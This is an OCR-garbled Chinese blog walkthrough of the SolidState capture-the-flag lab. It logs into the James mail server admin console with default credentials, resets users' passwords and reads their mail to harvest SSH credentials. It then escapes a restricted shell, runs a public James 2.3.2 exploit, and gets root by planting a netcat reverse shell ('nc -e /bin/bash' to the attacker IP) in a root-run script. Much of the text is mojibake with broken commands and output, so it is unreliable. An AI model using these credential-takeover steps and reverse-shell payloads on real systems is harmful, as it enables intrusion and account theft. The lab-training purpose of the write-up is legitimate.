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EHLipN: 192.168.10.140

root@kali: ~
M(F) #wEB(E) EE(V) EE=R(S) LT #BiH)

Currently scanning: Finished! Screen VYiew: Unique Host

Count

METGEAR

Intel Corporate

Unknown vendor

Intel Corporate

VMware, Incp

Intel Corporate

Unknown vendo

Intel Corporate

Unknown vendor

Unknown vendor

HUAWEI TECHNOLOGIES CO.,LTD
Unknown vendor

Shenzhen Four Seas Global Li
Tenda Technology Co.,Ltd.Don

= e e e e e e e R e

https://blog.csdn.net/weixin_4670004:

74 : nmap -sS -Pn -A -p- -n 192.168.10.140

EUHLIT22/ssh. 25/smtp. 80/http.  110/pop3. 119/nntp. 4555/james-admins i AR 5%

:~# nmap -s5 -Pn -A -p- -n 192.168.10.140
Starting Nmap 7.70@ ( https://nmap.org } at 2020-11-25 15:50 CST
Nmap scan report for 192.168.10.140
Host is up (0.0010s latency).
Mot shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4pl Debian 18+deb9ul (protocol 2.8)
| ssh-hostkey:
| 2048 77:00:84:1f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| 256 78:b8:3a: 19:06:91:f5:53:92:1d:37:48:ed:53 (ECDSA)
| 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp open sm JAMES smtpd 2.3.2
| smtp-commands: solidstate Hello nmap.scanme.org (kali.lan [192.168.10.9]), PIP
ELINING, ENHANCEDSTATUSCODES,
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-server-header: Apache/2.4.25 (Debian)
| http-title: Home - Solid State Security
open pop3 JAMES pop3d 2.3.2
open nntp JAMES nntpd (posting ok)
james-admin JAMES Remote Admin 2.3.2
:29:C2:9A:33 (VMware)
neral purpose
Linux 3.X|4.X ¢ i, LR
cpe:/o:linux:linux kernel:3 cpe:/o:linux:1iH Qhegdynetweixin_4670004




EATF N8O HEBATIE B E: EEFENRML, H8, dihPAHBBHEFTREIMEMENENERE, HWBOMEER! ! !
« > C o © & 192.168.10.140 w

SOLID STATE SECURITY

N4

SOLID STATE SECURITY

AWARD WINNING SECURITY TEAM

ASK BASED, REAL WORLD, HUMAN LED TESTING SER? S-S (NCIWEEEE TESTINC
SERVICES RANGING FRCM THE ADYANCED TECHNIQUES THROUGH TO THE BROADER
URANCES OF CYBER ESSERINALS® @ Eoédn REVS G

START TIME: We ov 25 16:01:08 2020
URL_BASE: http:// 140/
WORDLIST FILES: /fusr/s lirb/wordlists/big. txt

ENERATED WORDS: 20460

---- Scanning URL: http://192.168.10.148/ ----
=> DIRECTORY: http://192. 8.10.140/as /
=> DIRECTORY: http://1 109.148/imac
http://192.168.10.140/s er-status (CODE:403|SIZE:302)

---- Entering directory: http://192.168.10.148/assets/ ---
(!) WARNING: Directory IS LISTABLE. No need to scan jt
(Use mode '-w' if you want to scan it anyway)

4. % O R 5515 B W4 (4555/james-adminii )
FF I 45555 O A7 1L T 72 iy & AT IR TR
f Fnctis & AT B R :

nc 192.168.10.140 4555
#i \id=root. password=root



nciI{ER:

(1) SEHAERTCP/UDPH I A W

(2) O+, ncr] BME Nclientk &2 TCPEiUDP%E £
(3) Mgz At

(4) P23 18] X 45 0 33

B Ahelpir & EFE, RIAUHATlistusers (FIHFF4) , setpassword (EEHIL) FH#fE;
Remote Admin Service GEEEHERS)

root@kali: ~
MH(F) RIB(E) EE(WN) HZ=E(S) LimT) mE(B) FEBIH)
root@kali: ~ x root@kali: ~ x root@kali: ~

:~# nc 192.168.10.140 4555

JAMES Remote Administration Tool 2.3.2

Ple enter your login and password

Login id:

root

P word:

r

Welcome root. HELP for a list of commands

1s

Unknown command ls

help

Currently implemented commands:
display this help
display existing accounts
display the number of existing accounts

adduser ername] [password] add a new user

ver

word [username] [password] ets s password
[user] [alias] a y forwards all email for 'user' to

'alias'
showalias [username] shows a er current email alias
talias [u ] an alias for 'user'
= forwards a Jdtpsiéblegaistntoetdne bie rd@nadl

ting accounts 5
: james
thomas
john
mindy
mailadmin

AN A setpasswordfis &K 50 P H TSI E B RH111;
setpassword [ 4] [#%1E]



setpassword james 111
ord for james
setpassword thoms tdeHWllrd thomas 111
Unknown command
Unknown command

assword thomas 111
for thomas reset

&tp sswurd john 111
ord for john reset
word mindy 111
'rd for mindy reset
ssword mailadmin 111
urd for mailadmin reset

5 A6 Ho At L BEAT 15 BER,  FFR 45554 O AR LA M E R/ B !

POP3fk 45 2% 2 B IEPOP3TM M I B 2 MR 14 AR 4528, FH T2k B TR 14
FAE Ftelnetdy 2347 7 72 B B -

4 telnet 192.168.10.140 110
Telet/Z lteretff 2 B 3 B, AT LLIBIE & AR B ka2l 7 i v S

:~# telnet 192.168.10.140 118
Trying 192.168.10.140...
Connected to 192.168.10.140.
Escape character is '*]'.
+0K solidstate POP3 server (JAMES POP3 Server .
user james
+0K
pass 111
+0K Welcome james
list
+0K 0 ©

-ERR

0 0

-ERR

retr 1

-ERR Message (1) does not exist.
retr

-ERR Usage: RETR [mail number]

LN
user [F P 4]
pass [ 5]

list Car i SCA51D

RETRFMSTORA 4 & F TP H B F 20 A& 44, W CA&T S 4 A B 3%
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https://blog.csdn.net/weixin_46700042/article/details/110225565

root@kali: ~
R #RIB(E) EE(N) E=E(S) LR FRZE(B) #FEHH)
root@kali: ~

+0K solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user mindy

+0K

pass 111

+0K Welcome mindy

list

+0K 2 1945

1 11689

2 836

retr 1
+0K Message follows
Return-Path: <mailadmin@localhost=
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate=
MIME-VYersion: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
for <mindy@localhost>;
Tue, 22 Aug 2017 13:13:42 -0480 (EDT)
E?E:; ;:iia3$iﬁg%0§2%;o;i.13.42 -B4dH (E0T) hnpsiﬂﬂugﬂserneHwehnn_46{0004:'

FEfE Mretr 2682 J5, TATATLAE Blmindy A P K SZS ! GFRAHE TsshBEk)

mindy // P@55W0rd1!2@

retr 2
+0K Message follows
Return-Path: =mailadmin@localhost=>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.8
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for =mindy@localhost=>;
Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
: mailadmin@localhost
Subject: Your Access

Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path

username: mindy
pass: P@55wWordl!2@

https://blog.csdn.net/weixin_46700042

RS, BERPERXTHIER, Hretrdr & TEICH, FHFELEE DT LLE 2 TEXFRNEA.

f£110/pop3i 1, FATRKIL T mindyH /- fisshB fliK 5885, EHAMA P T hRIFREEMEMERRI! L !




BAVE A mindyH K S50, #iT7sshimfEiER, [HA4RMIwhoamifit KB Nrbash (ZRR#IKIshel) , IsKILfFEEuser.ixt, cat
BE R —Diflag! ! !

:~# ssh mindy@192.168.10.140
'192.168.10.140 (192.168.10.140)"

The authenticity of host

ECDSA key fingerprint is SHA256:nj0xYC21MJdcSTcgKOpfTedDAXX50SYVGPCTChsGwIO.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added
mindy@192.168.10.148's password:

'192.168.10.140"'

(ECDSA) to the list of known hosts.

can't be established.

Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-88-86) 1686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /fusr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142

mindy@solidstate:~%$ whoami
-rbash: whoami: command not found
mindy@solidstate:~% 1s

bin user.txt

mindy@solidstate:~% cat user.txt
914d0ad4ebcl777889b5b89a23f556fd75
mindy@solidstate:~$

Wi TabB#, 2340 a0 & UASRAT K62

mindy@solidstate:~$

pisplay all 176 possibilities? (y or n)

- dirs
disown
do
done
_dvd devices
echo
elif
else
enable

allowed groups esac

allowed users eval

available interfaces exec
exit
_expand

__expand_tilde_by ref

export

false

fc

fg

fi

_filedir
cd devices
ommand for
command _fstypes
command_offset function

_get_comp_words_by_ref

_get cword
complete as root
completion_loader
ompopt
configured interfaces

getopts
_get_pword
_gids

__git eread
_ git ps1

_ git psl colorize gitstring
__git psl_show_upstream

mindy@solidstate:~$

_filedir xspec

__grubcomp

__grub_dir
_grub_editenv
__grub_get_last option
~ grub get options from help
__grub_get_options_from usage
_grub_install
__grub_list menuentries
__grub_list modules
_grub mkconfig

_grub mkfont
_grub_mkimage
_grub_mkpasswd_pbkdf2
_grub_mkrescue
_grub_probe

_grub script check
_grub_set_entry
_grub_setup

hash

_have

help

history

if

in

_init_completion
_installed_modules

_ip addresses

__get cword at cursor by ref jobs
_get_first_arg

_kernel_versions
kill

_known_hosts
_known hosts real
let

local

logout

_longopt

cat etc/passwd A] L& EmindyH F 7T LRI F /binfrbash/i# 4T &

hitps://iblog.csdn.net/weixin_46700042

1s
__ltrim_colon_completions
_mac_addresses

mapfile

_minimal

_modules

_ncpus

_parse_help

__parse_options
_parse_usage

_peci ids

_pgids

_pids

_pnames

popd

printf

pushd

pwd

quote

quote_readline

_quote readline by ref

read

readarray

readonly

_realcommand
__reassemble_comp_words_by ref
return

_rl _enabled
_root_command
select
_service
_services
set

_shells
shift

shopt

_signals
source
_split_longopt
suspend
_sysvdirs
_terms
test

then
_tilde
time

times

trap

true

type
typeset
_uids
ulimit
umask
unalias
unset
until
_upvar
_upvars
_usb_ids
_user_at_host
_usergroup
_userland
_variables
wait

while
_xfunc
_xinetd services

https://blog.csdn.netiweixin_46700042




mindy@solidstate:~$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:X:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: fusr/games: /usr/sbin/nologin

man:x:6:12:man:/var/cache/man: /usr/sbin/nologin

lp:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp: fusr/sbin/nolegin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup: /var/backups: fusr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:%x:39:39:ircd:/var/run/fircd: fusr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody: /nonexistent: /usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:183:systemd Network Management,,,:/run/systemd/netif:/bin/Talse
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/Talse
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false

usbmux:x:105:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
rtkit:x:106:110:RealtimeKit,,,:/proc:/bin/fTalse
dnsmasq:x:187:65534:dnsmasq, ,, :/var/lib/misc: /bin/false
messagebus:x:188:111::/var/run/dbus: /bin/false
geoclue:x:1089:115::/var/lib/geoclue: /bin/false

avahi:x:110:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
colord:x:111:118:colord colour management daemon,,,:/var/lib/colord:/bin/false
saned:x:112:119::/var/lib/saned:/bin/false

speech-dispatcher:x:113:29:5peech Dispatcher,,,:/var/run/speech-dispatcher:/bin/Talse
pulse:x:114:120:PulseAudio daemon,,,:/var/run/pulse:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:122:Gnome Display Manager:/var/lib/gdm3:/bin/false
sshd:x:117:65534::/run/sshd: fusr/sbin/nologin
james:x:1000:1000: james: fhome/james/: /bin/bash

mindy:x:1001:1881:mindy:/home/mindy:/bin/rbash s
mindy@solidstate:~$ || hitps://blog.csdn.netfweixin_46

rbash (%ZFRiIsheld , HIRZEMEaSHPATA T, BATAT LR T i pidp 7 AT 58 -

—. exp#l
¥ Fsearchsploiti® J M A I, cpMids 4 T & ElkaliH

700042

root@kali: ~ roo ali: ~ root@kali: ~ root@kali: ~ root@kali: ~

searchsploit 35513
root@kali: ~

Exploit Title

[shellcodes: No Result
:~# cp fusr/share/exploitdb/<pre>exploits/linux/remote/<font color="#EF2929"><b>35513</b></font>.py
bash: 5 7l ¥ B9 7 S “<"M T B B % #H 18
~# cp /usr/share/exploitdb/exploits/linux/remote/35513.py /root
:~# 1s
1.php 7z.py BE HEHAE T8 AE a.py backupPasswords dirty.c hydra.ssh mima. txt shell sources.list.sq
B5513.py 23 AH X¥ BEF aaaa.jpg crunch-3.6 dama.php hydra.restore Llxd-alpine-builder phpshell.php shell.php Ntpedlipggsdn.netiv

BAWIFT Frpyli a4, #& Epayload:

nc -e /bin/sh 192.168.10.9 1234
payload A< kalitt IPHb 31k Flnc s W7 3% 1

ue|

eze
eixin_46700042




bi

ames RENC

to James Remao Ad ratio
et.AF_INET,socket.: STREAM)

AT BNA SO«

A

python 35513.py [ip]

:~# python 35513.py
python 35513.py <ip=>
python 35513.py 127.0.0.1

[+]Sending pay

[+]Done! Paylo
~#

BXfERsshizfB g3, , W EBIMASHIF M FENRAT, FATEKali £ 5B Enc i



root @kali: ~ x root@kali: ~ ® root@kali: ~ * root @kali: ~ x root@kali: ~ x

-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) 1686

o o
ribed in the

wlth ABSOLUTELY NO WARRANTY, to the extent

ogin: Wed Nov 25 ©3:28:52 2020 from 192.168.10.9
$'\254\355\005sr\0 pache.james.core.MailImpl\304x\r\3454274\317(A003': command not found
ommand not und
Ljava/util/HashMap: No such file or directory

etLjava/lang/String: No such file or directory

astUpdatedtLjava/util/Date 0 ile or directory
ail/internet/M ge: No such file or directory
: command no
recipientstLjavasutil/Collection: No such file or directory
nd not found
L': command net found
endertLorg/apache/maile fMdllAdd' No such file or directory
sr\@35org.apache.m et.MailAddr command not found
1\222\204m\307{\244\002\003I\083po 004 3 4us 92xp': command not found
eam.pl=>
<14775854.0. 1606294567344 . JavaMail.

tiplain; chars
-Encoding: 7bit
sefeafaa s oy

by 5ulldktdtw (JAMES QMTP Server 2.3.2) with SMTP ID 219
e wliaar et ./../etc/bash_completion.d@localhost>;
' 25 Nnv 2020 03: 55 -8500 (EST)

25 Nnv 2020 03:55:55 -0500 (EST)

B LUE BRI T, idEE mindyF P AR ;

:~# nc -lvp 1234
listening on [any] 1234
connect to [192.168.10.9] from solidstate.lan [192.168.10.140] 60836

uid=1001{(mindy) gid=1001(mindy) oups=1001(mindy)
whoami
mindy

RlEgE
i P — ) i iy & B AT S St

ssh mindy@192.168.10.140 “export TERM=xterm; python -c 'import pty; pty.spawn("/bin/sh")™"

:~# ssh mlnd"ﬁ 92.168.10.140 "export TERM=xterm; python -c 'import pty; pty.spawn(\"/bin/shy")'"
mlnd"@IQ’ 168.10.140's password:

=1001(mindy) groups=

& ESHI eRFEHHATS s Al

& #shellsTh

HRYE T E R BB 1R R 5 B, RIGsshit B FAERUER MJamesTB EIREUK), BT AEFE XN A P RHRST B

r4: ps aux|grep james



B T optfEAIRBERE, cditt NoptsCfk:

0:00 /bin/sh /fopt/jame: 3.2/bin/run.sh
©:39 /fusr/lib/jvm a venjdk-1386//bin/java -Djava.ext jame & i j ools/lib -Djava.secu
.3.2/bin/phoenix-loader 1 /META-INF/java.policy -Dnetworka

4736 752

tmp. py

1001(mindy) gid=1001(mindy) groups=1001(mindy)

FE—/NPythont2 Ftmp.pyR2F BT LAFI A, J8 Froothf fR, B4 AT B 5 SR 5 $AT i & ISR AUARAD «

4 echo ‘import os; os.system("/bin/nc 192.168.10.9 666 -e /bin/bash")’ > /opt/tmp.py

cat tmp.py
#!/usr/bin/env python
import os

import sys

)

em("/bin/nc 192.168.10.9 666 -e /bin/bash")' > Jopt/tmp.py

tmp.py
cat tmp.py
import os; os.system("/bin/nc 192.168.10.9 666 -e fbin/bash™)
python tmp.py
csdn.net/

R #shell I, ZEFrootHFR!!
SEIR AR TR )

:~# nc -lvp
listening on [any] 6
id
connect to [192.168.10.9] fr lidstate.lan [192.168.10.140] 48778
gid=0(root) groups=0(root)
id
uid=e(root) gid=0(root) groups=0(root)

t.txt
b4c9723a28899b1c45db281d99¢cc87c9

AWK, AT T FLH B O RS, @il RS TS BWE, 7E45550 D FAEREREHAT, RAIE4555%
AREME 4, HEETHPEWG; fEpop3kst, AFIMMAER, BET—Psshif) &K S HD;

LARfEsshB iz fE, 32FRfIHIrbashSeid R AR L I HIRF /i, BATATLMER — RS, il Mlexpstid;

SRALER 7 9 1) AT AT py ST A 8 AT SRA AR, G AT, BT 3R A root AR ¢ ! !
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